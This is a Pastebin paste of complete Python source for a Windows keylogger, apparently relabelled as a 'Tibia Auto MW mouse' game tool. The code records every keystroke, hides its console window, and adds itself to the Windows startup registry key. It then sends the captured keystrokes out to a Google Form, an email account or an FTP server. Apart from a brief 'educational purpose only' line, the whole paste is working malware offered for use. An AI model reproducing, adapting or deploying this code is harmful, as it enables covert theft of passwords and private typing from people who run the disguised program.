Advertisement
Guest User

Untitled

a guest
Jul 13th, 2018
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.30 KB | None | 0 0
  1. 1.STORE LOGS LOCALLY
  2. 2.SEND LOGS TO GOOGLE FORMS
  3. 3.SEND LOGS TO EMAIL
  4. 4.SEND LOGS TO FTP
  5. MINIMUM REQUIREMENTS
  6. ===================
  7. Python 2.7: http://www.python.org/getit/
  8. pyHook Module: http://sourceforge.net/projects/pyhook/
  9. pyrhoncom Module: http://sourceforge.net/projects/pywin32/
  10. pyHook Module -
  11. Unofficial Windows Binaries for Python Extension Packages: http://www.lfd.uci.edu/~gohlke/pythonlibs/
  12. NOTE: YOU ARE FREE TO COPY,MODIFY,REUSE THE SOURCE CODE FOR EDUCATIONAL PURPOSE ONLY.
  13. '''
  14. try:
  15. import pythoncom, pyHook
  16. except:
  17. print "Please Install pythoncom and pyHook modules"
  18. exit(0)
  19. import os
  20. import sys
  21. import threading
  22. import urllib,urllib2
  23. import smtplib
  24. import ftplib
  25. import datetime,time
  26. import win32event, win32api, winerror
  27. from _winreg import *
  28.  
  29. #Disallowing Multiple Instance
  30. mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
  31. if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
  32. mutex = None
  33. print "Multiple Instance not Allowed"
  34. exit(0)
  35. x=''
  36. data=''
  37. count=0
  38.  
  39. #Hide Console
  40. def hide():
  41. import win32console,win32gui
  42. window = win32console.GetConsoleWindow()
  43. win32gui.ShowWindow(window,0)
  44. return True
  45.  
  46. def msg():
  47. print """\n \Tibia Auto MW mouse
  48. OPENSECURITY.IN
  49. usage:MW mouse.py mode [optional:startup]
  50. mode:
  51. local: store the logs in a file [keylogs.txt]
  52.  
  53. remote: send the logs to a Google Form. You must specify the Form URL and Field Name in the script.
  54.  
  55. email: send the logs to an email. You must specify (SERVER,PORT,USERNAME,PASSWORD,TO).
  56.  
  57. ftp: upload logs file to an FTP account. You must specify (SERVER,USERNAME,PASSWORD,SSL OPTION,OUTPUT DIRECTORY).
  58. [optional] startup: This will add the keylogger to windows startup.\n\n"""
  59. return True
  60.  
  61. # Add to startup
  62. def addStartup():
  63. fp=os.path.dirname(os.path.realpath(__file__))
  64. file_name=sys.argv[0].split("\\")[-1]
  65. new_file_path=fp+"\\"+file_name
  66. keyVal= r'Software\Microsoft\Windows\CurrentVersion\Run'
  67.  
  68. key2change= OpenKey(HKEY_CURRENT_USER,
  69. keyVal,0,KEY_ALL_ACCESS)
  70.  
  71. SetValueEx(key2change, "MW mouse",0,REG_SZ, new_file_path)
  72.  
  73. #Local Keylogger
  74. def local():
  75. global data
  76. if len(data)>100:
  77. fp=open("keylogs.txt","a")
  78. fp.write(data)
  79. fp.close()
  80. data=''
  81. return True
  82.  
  83. #Remote Google Form logs post
  84. def remote():
  85. global data
  86. if len(data)>100:
  87. url="https://docs.google.com/forms/d/xxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #Specify Google Form URL here
  88. klog={'entry.xxxxxxxxxxx':data} #Specify the Field Name here
  89. try:
  90. dataenc=urllib.urlencode(klog)
  91. req=urllib2.Request(url,dataenc)
  92. response=urllib2.urlopen(req)
  93. data=''
  94. except Exception as e:
  95. print e
  96. return True
  97.  
  98. #Email Logs
  99. class TimerClass(threading.Thread):
  100. def __init__(self):
  101. threading.Thread.__init__(self)
  102. self.event = threading.Event()
  103. def run(self):
  104. while not self.event.is_set():
  105. global data
  106. if len(data)>100:
  107. ts = datetime.datetime.now()
  108. SERVER = "smtp.gmail.com" #Specify Server Here
  109. PORT = 587 #Specify Port Here
  110. USER="your_email@gmail.com"#Specify Username Here
  111. PASS="password_here"#Specify Password Here
  112. FROM = USER#From address is taken from username
  113. TO = ["to_address@gmail.com"] #Specify to address.Use comma if more than one to address is needed.
  114. SUBJECT = "Keylogger data: "+str(ts)
  115. MESSAGE = data
  116. message = """\
  117. From: %s
  118. To: %s
  119. Subject: %s
  120. %s
  121. """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
  122. try:
  123. server = smtplib.SMTP()
  124. server.connect(SERVER,PORT)
  125. server.starttls()
  126. server.login(USER,PASS)
  127. server.sendmail(FROM, TO, message)
  128. data=''
  129. server.quit()
  130. except Exception as e:
  131. print e
  132. self.event.wait(120)
  133.  
  134. #Upload logs to FTP account
  135. def ftp():
  136. global data,count
  137. if len(data)>100:
  138. count+=1
  139. FILENAME="logs-"+str(count)+".txt"
  140. fp=open(FILENAME,"a")
  141. fp.write(data)
  142. fp.close()
  143. data=''
  144. try:
  145. SERVER="ftp.xxxxxx.com" #Specify your FTP Server address
  146. USERNAME="ftp_username" #Specify your FTP Username
  147. PASSWORD="ftp_password" #Specify your FTP Password
  148. SSL=0 #Set 1 for SSL and 0 for normal connection
  149. OUTPUT_DIR="/" #Specify output directory here
  150. if SSL==0:
  151. ft=ftplib.FTP(SERVER,USERNAME,PASSWORD)
  152. elif SSL==1:
  153. ft=ftplib.FTP_TLS(SERVER,USERNAME,PASSWORD)
  154. ft.cwd(OUTPUT_DIR)
  155. fp=open(FILENAME,'rb')
  156. cmd= 'STOR' +' '+FILENAME
  157. ft.storbinary(cmd,fp)
  158. ft.quit()
  159. fp.close()
  160. os.remove(FILENAME)
  161. except Exception as e:
  162. print e
  163. return True
  164.  
  165. def main():
  166. global x
  167. if len(sys.argv)==1:
  168. msg()
  169. exit(0)
  170. else:
  171. if len(sys.argv)>2:
  172. if sys.argv[2]=="startup":
  173. addStartup()
  174. else:
  175. msg()
  176. exit(0)
  177. if sys.argv[1]=="local":
  178. x=1
  179. hide()
  180. elif sys.argv[1]=="remote":
  181. x=2
  182. hide()
  183. elif sys.argv[1]=="email":
  184. hide()
  185. email=TimerClass()
  186. email.start()
  187. elif sys.argv[1]=="ftp":
  188. x=4
  189. hide()
  190. else:
  191. msg()
  192. exit(0)
  193. return True
  194.  
  195. if __name__ == '__main__':
  196. main()
  197.  
  198. def keypressed(event):
  199. global x,data
  200. if event.Ascii==13:
  201. keys='<ENTER>'
  202. elif event.Ascii==8:
  203. keys='<BACK SPACE>'
  204. elif event.Ascii==9:
  205. keys='<TAB>'
  206. else:
  207. keys=chr(event.Ascii)
  208. data=data+keys
  209. if x==1:
  210. local()
  211. elif x==2:
  212. remote()
  213. elif x==4:
  214. ftp()
  215.  
  216. obj = pyHook.HookManager()
  217. obj.KeyDown = keypressed
  218. obj.HookKeyboard()
  219. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement